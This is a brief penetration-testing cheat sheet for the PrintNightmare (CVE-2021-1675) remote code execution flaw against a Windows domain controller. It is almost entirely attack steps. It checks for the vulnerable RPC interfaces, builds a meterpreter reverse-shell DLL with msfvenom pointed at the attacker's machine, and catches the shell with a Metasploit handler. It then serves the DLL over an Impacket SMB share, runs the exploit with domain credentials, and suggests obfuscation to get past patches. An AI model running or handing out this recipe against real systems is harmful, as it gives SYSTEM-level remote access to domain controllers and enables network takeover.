PrintNightmare

PrintNightmare (CVE-2021-1675) - RCE

Takes advantage of printer spooler that runs as sys priv
Check if our target is vulnerable rpcdump.py @DOMAIN-CONTROLLER-IP | egrep 'MS-RPRN|MS-PAR'

Create a malicious dll to run it along the py file from the resource msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKING-MACHINE-IP LPORT=4444 -f dll > shell.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 8704 bytes

run msfconsole to catch the shell use multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST and LPORT
setup a file share with smbserver.py (Impacket): smbserver.py share 'pwd' -smb2support (will share current working dir)
Run the exploit python3 exploit.py domain.local/username:password@DOMAIN-CONTROLLER-IP-ADD '\\ATTACKING-MACHINE-IP\share\shell.dll'
We should get a shell

Note: With patches it might be necessary to use obfuscations techniques
